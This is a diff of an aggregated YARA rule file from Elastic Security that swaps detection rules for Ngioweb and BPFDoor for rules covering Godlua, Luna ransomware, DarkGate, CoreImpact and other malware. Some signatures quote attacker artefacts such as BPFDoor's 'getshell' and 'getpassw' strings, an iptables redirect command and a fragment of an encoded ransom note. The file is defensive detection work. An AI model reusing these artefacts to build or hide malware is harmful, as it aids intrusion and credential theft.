-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Linux Trojan Godlua (Linux.Trojan.Godlua)"
 		author = "Elastic Security"
-		id = "b97e0253-497f-4c2c-9d4c-ad89af64847f"
+		id = "ed8e6228-d5be-4b8e-8dc2-7072b1236bfa"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
-		logic_hash = "dc11d50166a4d1b400c0df81295054192d42822dd3e065e374a92a31727d4dbd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Godlua.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "848ef3b198737f080f19c5fa55dfbc31356427398074f9125c65cb532c52ce7a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "859f29acec8bb05b8a8e827af91e927db0b2390410179a0f5b03e7f71af64949"
+		fingerprint = "9b73c2bbbe1bc43ae692f03b19cd23ad701f0120dff0201dd2a6722c44ea51ed"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96970,86 +101374,97 @@ rule ELASTIC_Linux_Trojan_Ngioweb_B97E0253 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 41 5C 41 5D 41 5E 41 5F C3 67 0F BE 17 39 F2 74 12 84 D2 74 04 }
+		$a = { C0 18 48 89 45 E8 EB 60 48 8B 85 58 FF FF FF 48 83 C0 20 48 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_66C465A0 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Coreimpact_37703Dc3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Multi Trojan Coreimpact (Multi.Trojan.Coreimpact)"
 		author = "Elastic Security"
-		id = "66c465a0-821d-43ea-82f5-fe787720bfbf"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "37703dc3-9485-4026-a8b7-82e753993757"
+		date = "2022-08-10"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7454ee074812d7fa49044de8190e17b5034b3f08625f547d1b04aae4054fd81a"
-		logic_hash = "71f224e3ee1ff29787258a61f29a37a9ddc51e9cb5df0693ea52fd4b6f0b5ad8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Coreimpact.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2d954908da9f63cd3942c0df2e8bb5fe861ac5a336ddef2bd0a977cebe030ad7"
+		logic_hash = "0695f22d6eb8c1b335c43213087539db419562bebd6f5b948cbb168c454bd37c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e26071afff71506236b261a44e8f1903d348dd33b95597458649f377710492f4"
+		fingerprint = "5a4d7af7d0fecc05f87ba51f976d78e77622f8afb1eafc175444f45839490109"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { 75 E6 B2 07 FE C0 EB DE 83 EC 10 6A 00 6A 00 6A 00 6A 00 FF 74 }
+		$str1 = "Uh, oh, exit() failed" fullword
+		$str2 = "agent_recv" fullword
+		$str3 = "needroot" fullword
+		$str4 = "time is running backwards, corrected" fullword
+		$str5 = "junk pointer, too low to make sense" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_D8573802 : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Luna_8614D3D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Multi Ransomware Luna (Multi.Ransomware.Luna)"
 		author = "Elastic Security"
-		id = "d8573802-f141-4fd1-b06a-605451a72465"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7454ee074812d7fa49044de8190e17b5034b3f08625f547d1b04aae4054fd81a"
-		logic_hash = "b51ab7a7c26e889a4e8efc2b9883f709c17d82032b0c28ab3e30229d6f296367"
+		id = "8614d3d7-7fd2-4cf9-aa97-48a8d9333f38"
+		date = "2022-08-02"
+		modified = "2022-08-16"
+		reference = "https://www.elastic.co/security-labs/luna-ransomware-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_Luna.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51"
+		logic_hash = "14e40c5b1a21ba31664ed31b04bfc4a8646b3e31f96d39e0928a3d6a50d79307"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0052566dda66ae0dfa54d68f4ce03b5a2e2a442c4a18d70f16fd02303a446e66"
+		fingerprint = "90c97ecfce451e1373af0d7538cf12991cc844d05c99ee18570e176143ccd899"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { 10 40 74 38 51 51 6A 02 FF 74 24 18 FF 93 C8 00 00 00 83 C4 }
+		$str_extensions = ".ini.exe.dll.lnk"
+		$str_ransomnote_bs64 = "W1dIQVQgSEFQUEVORUQ/XQ0KDQpBbGwgeW91ciBmaWxlcyB3ZXJlIG1vdmVkIHRvIHNlY3VyZSBzdG9yYWdlLg0KTm9ib"
+		$str_path = "/home/username/"
+		$str_error1 = "Error while writing encrypted data to:"
+		$str_error2 = "Error while writing public key to:"
+		$str_error3 = "Error while renaming file:"
+		$chunk_calculation0 = { 48 8D ?? 00 00 48 F4 48 B9 8B 3D 10 B6 9A 5A B4 36 48 F7 E1 48 }
+		$chunk_calculation1 = { 48 C1 EA 12 48 89 D0 48 C1 E0 05 48 29 D0 48 29 D0 48 3D C4 EA 00 00 }
 
 	condition:
-		all of them
+		5 of ($str_*) or all of ($chunk_*)
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_7926Bc8E : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Alie_E69De1Ee : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Linux Exploit Alie (Linux.Exploit.Alie)"
 		author = "Elastic Security"
-		id = "7926bc8e-110f-4b8a-8cc5-003732b6fcfd"
-		date = "2021-01-12"
+		id = "e69de1ee-294d-437e-a943-abb731842523"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "555d60bd863caff231700c5f606d0034d5aa8362862d1fd0c816615d59f582f7"
-		logic_hash = "ac42dd714696825d64402861e96122cce7cd09ae8d9c43a19dd9cf95d7b09610"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Alie.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "882839549f062ab4cbe6df91336ed320eaf6c2300fc2ed64d1877426a0da567d"
+		logic_hash = "bb4625751c924b9ff5d32cc044fcff68892e82d9e94d679c4e4c8286f680a854"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "246e06d73a3a61ade6ac5634378489890a5585e84be086e0a81eb7586802e98f"
+		fingerprint = "01fa5343fa0fb60c320f9fa49beb9c7a8a821ace7f1d6e48ea103e746b3f27a2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97057,56 +101472,57 @@ rule ELASTIC_Linux_Trojan_Ngioweb_7926Bc8E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { ED 74 31 48 8B 5B 10 4A 8D 6C 3B FC 48 39 EB 77 23 8B 3B 48 83 }
+		$a = { 0C 8D 4B 08 8D 53 0C B0 0B CD 80 89 C3 31 C0 B0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_E2377400 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Farfli_85D1Bcc9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Windows Trojan Farfli (Windows.Trojan.Farfli)"
 		author = "Elastic Security"
-		id = "e2377400-8884-42fb-b524-9cdf836dac3a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "85d1bcc9-c3c7-454c-a77f-0e0de933c4c3"
+		date = "2022-02-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b88daf00a0e890b6750e691856b0fe7428d90d417d9503f62a917053e340228b"
-		logic_hash = "71276698d1bdb9bc494fe6f1aa9755940583331836abc490e0b5ac3454d35de6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Farfli.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e3e9ea1b547cc235e6f1a78b4ca620c69a54209f84c7de9af17eb5b02e9b58c3"
+		logic_hash = "746eb5a2583077189d82d1a96b499ff383f31220845bd8a6df5b7a7ceb11e6fb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "531a8fcb1c097f72cb9876a35ada622dd1129f90515d84b4c245920602419698"
+		fingerprint = "56a5e4955556d08b80849ea5775f35f5a32999d6b5df92357ab142a4faa74ac3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EC 08 8B 5C 24 10 8B 43 20 85 C0 74 72 83 7B 28 00 74 6C 83 7B }
+		$a = { AB 66 AB C6 45 D4 25 C6 45 D5 73 C6 45 D6 5C C6 45 D7 25 C6 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_994F1E97 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Asacub_D3C4Aa41 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Linux Trojan Asacub (Linux.Trojan.Asacub)"
 		author = "Elastic Security"
-		id = "994f1e97-c370-4eb2-ac93-b5ebf112f55d"
+		id = "d3c4aa41-faae-4c85-bdc5-9e09483e92fb"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L161-L178"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2384e787877b622445d7d14053a8340d2e97d3ab103a3fabfa08a40068726ad0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Asacub.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15044273a506f825859e287689a57c6249b01bb0a848f113c946056163b7e5f1"
+		logic_hash = "3645e10e5ef8c50e5e82d749da07f5669c5162cb95aa5958ce45a414b870f619"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6cc0ace6beb6c1bf4e10f9781bb551c10f48cc23efe9529d92b432b0ff88f245"
+		fingerprint = "4961023c719599bd8da6b8a17dbe409911334c21b45d62385dd02a6dd35fd2be"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97114,92 +101530,86 @@ rule ELASTIC_Linux_Trojan_Ngioweb_994F1E97 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C6 44 24 16 68 C6 44 24 15 63 C6 44 24 14 74 C6 44 24 13 61 C6 44 24 12 77 C6 44 24 11 2F C6 44 24 10 76 C6 44 24 0F 65 C6 44 24 0E 64 C6 44 24 0D 2F }
+		$a = { 10 8B 0F 83 EC 08 50 57 FF 51 54 83 C4 10 8B 8B DC FF FF FF 89 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Segwin_04A3962E : FILE
+rule ELASTIC_Linux_Exploit_Criscras_Fc505C1D : FILE MEMORY
 {
 	meta:
-		description = "Name: segwindrvx64.sys, Version: 100.0.7.2"
+		description = "Detects Linux Exploit Criscras (Linux.Exploit.Criscras)"
 		author = "Elastic Security"
-		id = "04a3962e-4622-4d83-b0e7-4d77c8a81ab6"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "fc505c1d-f77d-48cc-b8fe-7b24b9cc6a97"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Segwin.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
-		logic_hash = "1e9ba5fc78f2b4eeee56314c9e8cf3071817d726b44cb8510f8d7069e85ab7bf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Criscras.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7399f6b8fbd6d6c6fb56ab350c84910fe19cc5da67e4de37065ff3d4648078ab"
+		logic_hash = "4d84570c13c584fb7360e798df9f3e6039ee74fdb6ad597add0ea150e3deaa80"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "e3c5441e4c26f7c5ba5db8a4b7618d870a5dd7b70d9373d80d81497bc0f73739"
-		threat_name = "Windows.VulnDriver.Segwin"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "bc5e980599c4c8fc3c9b560738d7187a0c91e2813c64b3ad0ff014230100c8d8"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 73 00 65 00 67 00 77 00 69 00 6E 00 64 00 72 00 76 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x64][\x00-\x00])([\x00-\x02][\x00-\x00])([\x00-\x07][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x63][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x64][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x06][\x00-\x00]))/
+		$a = { 0C 89 21 89 E3 31 C0 B0 0B CD 80 31 C0 FE C0 CD }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_59E029C3 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Echodrv_D17Ff31C : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Windows Vulndriver Echodrv (Windows.VulnDriver.EchoDrv)"
 		author = "Elastic Security"
-		id = "59e029c3-a57c-44ad-a554-432efc6b591a"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
-		logic_hash = "64620a3404b331855d0b8018c1626c88cb28380785beac1a391613ae8dc1b1bf"
+		id = "d17ff31c-59d1-4bea-be25-c6f7fe2b8c7b"
+		date = "2023-10-31"
+		modified = "2023-11-03"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_EchoDrv.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9"
+		logic_hash = "0b2eb3c5da8703749ee63662495d6e8738ccdc353f3ac3df48e25a77312c0da0"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "cc9b75b1f1230e3e2ed289ef5b8fa2deec51197e270ec5d64ff73722c43bb4e8"
+		tags = "FILE"
+		fingerprint = "dcf828c8db88580faeaa78f4bcda5a01ff4e710cb3e1e0912a99665831a070b4"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
-		$a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
-		$a3 = "avahi-daemon: chroot helper" ascii fullword
-		$a4 = "/sbin/mingetty /dev/tty6" ascii fullword
-		$a5 = "ttcompat" ascii fullword
+		$str1 = "D:\\WACATACC\\Projects\\Programs\\Echo\\x64\\Release\\echo-driver.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_0F768F60 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rozena_56651C1D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Linux Trojan Rozena (Linux.Trojan.Rozena)"
 		author = "Elastic Security"
-		id = "0f768f60-1d6c-4af9-8ae3-c1c8fbbd32f4"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L26-L50"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155"
-		logic_hash = "1aaa74c2d8fbb230cbfc0e08fd6865b5f7e90e4abcdb97121e52afb7569b2dbc"
+		id = "56651c1d-548e-4a51-8f1c-e4add55ec14f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rozena.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "997684fb438af3f5530b0066d2c9e0d066263ca9da269d6a7e160fa757a51e04"
+		logic_hash = "a6d283b0c398cb1004defe7f5669f912112262e5aaf677ae4ca7fd15565cb988"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "55097020a70d792e480542da40b91fd9ab0cc23f8736427f398998962e22348e"
+		fingerprint = "a86abe550b5c698a244e1c0721cded8df17d2c9ed0ee764d6dea36acf62393de"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97207,134 +101617,119 @@ rule ELASTIC_Linux_Trojan_Bpfdoor_0F768F60 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
-		$a2 = "/sbin/mingetty /dev/tty7" ascii fullword
-		$a3 = "pickup -l -t fifo -u" ascii fullword
-		$a4 = "kdmtmpflush" ascii fullword
-		$a5 = "avahi-daemon: chroot helper" ascii fullword
-		$a6 = "/sbin/auditd -n" ascii fullword
+		$a = { 89 E1 95 68 A4 1A 70 C7 57 FF D6 6A 10 51 55 FF D0 68 A4 AD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_8453771B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Darkgate_Fa1F1338 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Windows Trojan Darkgate (Windows.Trojan.DarkGate)"
 		author = "Elastic Security"
-		id = "8453771b-a78f-439d-be36-60439051586a"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L52-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
-		logic_hash = "546e5c56ceb6b99db14dc225a2ec4872cb54859a0f2f6ad520d4f446793e031e"
+		id = "fa1f1338-c920-4db9-a7ec-cd11d7e1558b"
+		date = "2023-12-14"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DarkGate.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1fce9ee9254dd0641387cc3b6ea5f6a60f4753132c20ca03ce4eed2aa1042876"
+		logic_hash = "d5447a57fc57af52c263b84522346a3e94a464a698de8be77eab3b56156164f2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b9d07bda8909e7afb1a1411a3bad1e6cffec4a81eb47d42f2292a2c4c0d97fa7"
+		fingerprint = "182481e23eb10f0a8b7d0d536e2d8d36ab5e51fd798caebff4d38d55b5549244"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "[-] Spawn shell failed." ascii fullword
-		$a2 = "[+] Packet Successfuly Sending %d Size." ascii fullword
-		$a3 = "[+] Monitor packet send." ascii fullword
-		$a4 = "[+] Using port %d"
-		$a5 = "decrypt_ctx" ascii fullword
-		$a6 = "getshell" ascii fullword
-		$a7 = "getpassw" ascii fullword
-		$a8 = "export %s=%s" ascii fullword
+		$str0 = "DarkGate has recovered from a Critical error"
+		$str1 = "Executing DarkGate inside the new desktop..."
+		$str2 = "Restart Darkgate "
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_F690Fe3B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Darkgate_07Ef6F14 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Windows Trojan Darkgate (Windows.Trojan.DarkGate)"
 		author = "Elastic Security"
-		id = "f690fe3b-1b3f-4101-931b-10932596f546"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L80-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
-		logic_hash = "35c6be75348a30f415a1a4bb94ae7e3a2f49f54a0fb3ddc4bae1aa3e03c1a909"
+		id = "07ef6f14-4eb5-4c15-94af-117c68106104"
+		date = "2023-12-14"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DarkGate.yar#L23-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1fce9ee9254dd0641387cc3b6ea5f6a60f4753132c20ca03ce4eed2aa1042876"
+		logic_hash = "2820286b362b107fc7fc3ec8f1a004a7d7926a84318f2943f58239f1f7e8f1f0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "504bfe57dcc3689881bdd0af55aab9a28dcd98e44b5a9255d2c60d9bc021130b"
+		fingerprint = "fd0aab53bddd3872147aa064a571d118cc00a6643d72c017fe26f6e0d19288e1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
+		$binary0 = { 8B 04 24 0F B6 44 18 FF 33 F8 43 4E }
+		$binary1 = { 8B D7 32 54 1D FF F6 D2 88 54 18 FF 43 4E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_1A7D804B : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Cheatengine_Fedac96D : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Subject: Cheat Engine"
 		author = "Elastic Security"
-		id = "1a7d804b-9d39-4855-abe9-47b72bd28f07"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L101-L127"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
